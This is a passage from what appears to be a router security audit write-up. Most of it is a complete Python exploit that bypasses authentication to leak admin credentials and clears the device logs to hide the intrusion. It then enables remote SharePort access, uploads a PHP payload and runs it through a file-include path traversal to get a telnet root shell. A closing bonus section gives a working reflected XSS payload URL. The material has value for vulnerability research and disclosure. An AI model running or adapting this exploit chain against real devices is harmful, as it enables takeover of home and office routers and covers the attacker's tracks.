        if len(self.storages) == 0:
            return 0
        return 1

    # This function exploits an authentication bypass to retrieve
    # the account name and password of the administrator.
    def get_credentials(self):
        new_url = f"{self.url}/check_stats.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }
        # We retrieve the administrator's account name.
        datas = b"CHECK_NODE=/device/account/entry:1/name" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("OK") == -1:
            return 0
        self.username = extract(r.text, "<code>", "</code>")
        if not self.username:
            return 0

        # We retrieve the administrator's password.
        datas = b"CHECK_NODE=/device/account/entry:1/password" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("OK") == -1:
            return 0
        self.password = extract(r.text, "<code>", "</code>")
        return 1

    # This function is used to authenticate and operate the
    # session fixation.
    def set_session(self):
        new_url = f"{self.url}/session.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = f"REPORT_METHOD=xml&ACTION=login_plaintext&USER={self.username}&PASSWD={self.password}"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("SUCCESS") == -1:
            return 0
        return 1

    # This function allows to erase authentication traces by
    # cleaning the logs.
    def clear_logs(self):
        # However, we need to send a specific request for each
        # type of log we want to clean
        for logtype in ["sysact", "attack", "drop"]:
            new_url = f"{self.url}/log_clear.php"
            headers = {
                "Cookie": self.session,
                "Content-Type": "application/x-www-form-urlencoded"
            }
            datas = f"act=clear&logtype={logtype}&SERVICES=RUNTIME.LOG"
            r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)

    # This function verifies that SharePort Web Access is active
    # and reachable from the WAN. If not, we try to activate it
    # by uploading a new SharePort Web Access configuration.
    def check_shareport(self):
        new_url = f"{self.url}/getcfg.php"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = "SERVICES=WEBACCESS"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("WEBACCESS") == -1:
            return 0
        # We make a backup of the original configuration.
        self.webaccess_config = r.text

        new_webaccess_config = self.webaccess_config
        # We parse the content of SharePort Web Access configuration.
        print("\t"+f"[*] Parsing SharePort Web Access configuration ...")
        enable = extract(new_webaccess_config, "<enable>", "</enable>")
        httpenable = extract(new_webaccess_config, "<httpenable>", "</httpenable>")
        self.httpport = extract(new_webaccess_config, "<httpport>", "</httpport>")
        httpsenable = extract(new_webaccess_config, "<httpsenable>", "</httpsenable>")
        self.httpsport = extract(new_webaccess_config, "<httpsport>", "</httpsport>")
        remoteenable = extract(new_webaccess_config, "<remoteenable>", "</remoteenable>")

        print("\t\t"+f"- enable: {enable}")
        print("\t\t"+f"- httpenable: {httpenable}")
        print("\t\t"+f"- httpport: {self.httpport}")
        print("\t\t"+f"- httpsenable: {httpsenable}")
        print("\t\t"+f"- httpsport: {self.httpsport}")
        print("\t\t"+f"- remoteenable: {remoteenable}")

        # If the original one does not allow us to exploit the target
        # we modify the configuration.
        if enable != 1:
            new_webaccess_config = new_webaccess_config.replace("<enable>0</enable>", "<enable>1</enable>")
        if httpenable != 1:
            new_webaccess_config = new_webaccess_config.replace("<httpenable>0</httpenable>", "<httpenable>1</httpenable>")
            if self.httpport == "":
                self.httpport = "8181"
                new_webaccess_config = new_webaccess_config.replace("<httpport></httpport>", f"<httpport>{self.httpport}</httpport>")
        if httpsenable != 1:
            new_webaccess_config = new_webaccess_config.replace("<httpsenable>0</httpsenable>", "<httpsenable>1</httpsenable>")
            if self.httpsport == "":
                self.httpsport = "4433"
                new_webaccess_config = new_webaccess_config.replace("<httpsport></httpsport>", f"<httpsport>{self.httpsport}</httpsport>")
        if remoteenable != 1:
            new_webaccess_config = new_webaccess_config.replace("<remoteenable>0</remoteenable>", "<remoteenable>1</remoteenable>")
        if  new_webaccess_config == self.webaccess_config:
            return 1

        self.webaccess_config_updated = 1
        print("\t"+f"[*] Updating SharePort Web Access configuration ...")
        # We try to upload the new configuration.
        new_url = f"{self.url}/hedwig.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "text/xml"
        }
        datas = new_webaccess_config
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
            return 0

       # If the uplaod was successful, then we activate the new configuration.
        new_url = f"{self.url}/pigwidgeon.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
            return 0
        print("\t"+f"[*] SharePort Web Access configuration updated.")
        return 1

    # This function allows authentication within the application
    # SharePort Web Access by solving the challenge response system.
    # The authentication cookie is saved for future use.
    def solve_challenge_response(self):
        # First we retrieve the challenge information (uid, challenge).
        new_url = f"{self.url}/dws/api/Login"
        if new_url[0:5] == "https":
            new_url = new_url.replace(self.port, self.httpsport)
        elif new_url[0:4] == "http":
            new_url = new_url.replace(self.port, self.httpport)
        else:
            print(new_url[0:6])
            return 0
        r = requests.get(url=new_url, allow_redirects=False, verify=False)
        if r.status_code != 200:
            return 0
        json_reponse = {"status": "nok"}
        try:
            json_reponse = json.loads(r.text)
        except:
            return 0
        if json_reponse["status"] == "nok":
            return 0
        self.cookie = f"uid={json_reponse['uid']}"
        challenge = json_reponse["challenge"]

        # The challenge response is then calculated.
        user_name = self.username.lower()
        user_pwd = self.password
        digest = hmac.new(user_pwd.encode(), user_name.encode()+challenge.encode(), "md5").hexdigest()

        # Then we send the response.
        headers = {
            "Cookie": self.cookie,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        para =f"id={user_name}&password={digest}"
        r = requests.post(url=new_url, headers=headers, data=para, allow_redirects=False, verify=False)
        if r.status_code != 200:
            return 0
        json_reponse = {"status": "nok"}
        try:
            json_reponse = json.loads(r.text)
        except:
            return 0
        if json_reponse["status"] == "nok":
            return 0
        return 1

    # This function attempts to upload our stage 0 to a
    # storage using an Arbitrary File Upload reachable
    # only by authenticated users. Luckily, previously we
    # were able to leak credentials.
    def upload_stage_0(self):
        new_url = f"{self.url}/dws/api/UploadFile?1".replace(self.port, "8181")
        for i in range(len(self.storages)):
            self.storage = self.storages[i]
            volid = ""
            if i != 0:
                volid += f"{i}"
            headers = {
                "Cookie": self.cookie
            }
            datas = {
                "storage": self.storage,
                "id": "",
                "tok": "",
                "volid": volid,
                "path": "%2F",
                "filename": STAGE_0
            }
            files = {
                "file": (STAGE_0, open(STAGE_0, "rb"), "text/php")
            }
            r = requests.post(url=new_url, headers=headers, files=files, data=datas, allow_redirects=False, verify=False)
            if r.status_code == 200:
                try:
                    json_reponse = json.loads(r.text)
                    if json_reponse["status"] == "ok":
                        return 1
                except:
                    pass
        return 0

    # This function allows to exploit a PHP File Include vulnerability
    # except that the included file must be of extension ".xml.php".
    def execute_stage_0(self):
        new_url = f"{self.url}/getcfg.php"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = f"SERVICES={'../'*DEPTH}var/tmp/storage/{self.storage}/stage_0"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("DONE") == -1:
            return 0
        return 1


class Check:
    def __init__(self, ip, port, url, session, storage, webaccess_state):
        self.ip = ip
        self.port = port
        self.url = url
        self.session = session
        self.storage = storage
        self.webaccess_config_updated = webaccess_state[0]
        self.webaccess_config = webaccess_state[1]

        # There we check if we can connect to the port on which
        # the telnetd service is supposed to listen.
        if not self.connect():
            print("\t"+f"[x] Can't connect to port: {self.port}")
            print("\t"+"[x] Exploit failed.")
            exit(-1)

        # There we will delete the only trace left by the exploit,
        # our stage 0.
        self.clean()
        print("\t"+"[*] Stage 0 deleted.")
        self.tn.close()

        # There we restore the original SharePort Web Access configuration.
        if self.webaccess_config_updated:
            if not self.restore_shareport():
                print("\t"+f"[x] Failed to restore SharePort Web Access configuration.")
            print("\t"+f"[*] SharePort Web Access configuration restored.")

        print("\t"+"[+] Exploit succeed.")

    # This function just tries to make a TCP connection on port TELNETD_PORT.
    def connect(self):
        try:
            self.tn = telnetlib.Telnet(self.ip, self.port)
            return 1
        except:
            return 0

    # This function cleans up the traces of the exploit by removing the stage 0.
    def clean(self):
        self.tn.read_until(b"login: ")
        cmd = CREDENTIALS["login"].encode()
        self.tn.write(cmd + b"\n")
        self.tn.read_until(b"Password: ")
        cmd = CREDENTIALS["password"].encode()
        self.tn.write(cmd + b"\n")
        self.tn.read_until(b"# ")
        cmd = f"rm /var/tmp/storage/{self.storage}/{STAGE_0}".encode()
        self.tn.write(cmd + b"\n")
    
    # This function restore the SharePort Web Access configuration as
    # it was before the exploit.
    def restore_shareport(self):
        print("\t"+f"[*] Restoring SharePort Web Access configuration ...")
        new_url = f"{self.url}/hedwig.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "text/xml"
        }
        datas = self.webaccess_config
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
            return 0

        new_url = f"{self.url}/pigwidgeon.cgi"
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        datas = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE"
        r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
            return 0
        return 1


def main(options):
    print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
    recon = Recon(options['ip'], options['port'])

    print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
    attack = Attack(recon.ip, recon.port, recon.url)

    print(f"[*] Starting check on {attack.ip}:{TELNETD_PORT} using credentials {CREDENTIALS['login']}/{CREDENTIALS['password']} in 5s ...")
    time.sleep(5)
    check = Check(attack.ip, TELNETD_PORT, attack.url, attack.session, attack.storage, [attack.webaccess_config_updated, attack.webaccess_config])


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("ip", help="Target's IP.")
    parser.add_argument("port", help="Target's port.")
    args = parser.parse_args()

    options = {}
    if args.ip and args.port:
        options["ip"] = args.ip
        options["port"] = args.port
    else:
        parser.print_help()
        exit(-1)

    main(options)

Bonus

During the audit, other vulnerabilities have been identified, only, those were not useful to the exploit, so, I decided to present them in a separately part.

Reflected XSS

Using the LF injection technique, it is possible to redefine the variables:

  • $AUTHORIZED_GROUP
  • $_POST["ACTION"]
  • $_SERVER["HTTP_REFERER"]

And therefore control the variable $referer and a part of the variable $message in the file /htdocs/webinc/js/tools_fw_rlt.php.

File: /htdocs/webinc/js/tools_fw_rlt.php

<script type="text/javascript">
function Page() {}
Page.prototype =
{
    services: null,
    OnLoad: function()
    {
<?
        include "/htdocs/phplib/trace.php";
        $referer = $_SERVER["HTTP_REFERER"];
        $t = 0;

        if ($_GET["PELOTA_ACTION"]=="fwupdate")

            ...

        }
        else if ($_POST["ACTION"]=="langupdate")
        {
            TRACE_debug("ACTION=".$_POST["ACTION"]);
            TRACE_debug("FILE=".$_FILES["sealpac"]);
            TRACE_debug("FILETYPES=".$_FILETYPES["sealpac"]);
            $slp = "/var/sealpac/sealpac.slp";
            $title = i18n("Update Language Pack");
            if ($_FILES["sealpac"]=="")
            {
                $title = i18n("Language Pack Upload Fail");
                $message = "'".i18n("The language pack image is invalid.")."', ".
                            "'<a href=\"".$referer."\">".i18n("Click here to return to the previous page.")."</a>'";
            }

            ...

        echo "\t\tvar msgArray = [".$message."];\n";

...

The variable $message is printed in the body of the server response via the call to the function echo(), when trying to reach route:

  • /tools_fw_rlt.php?junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_ACTION%3dlangupdate%0a_SERVER_HTTP_REFERER%3d’];alert(1);var%20msgArray%20=%20[’

alt-text

alt-text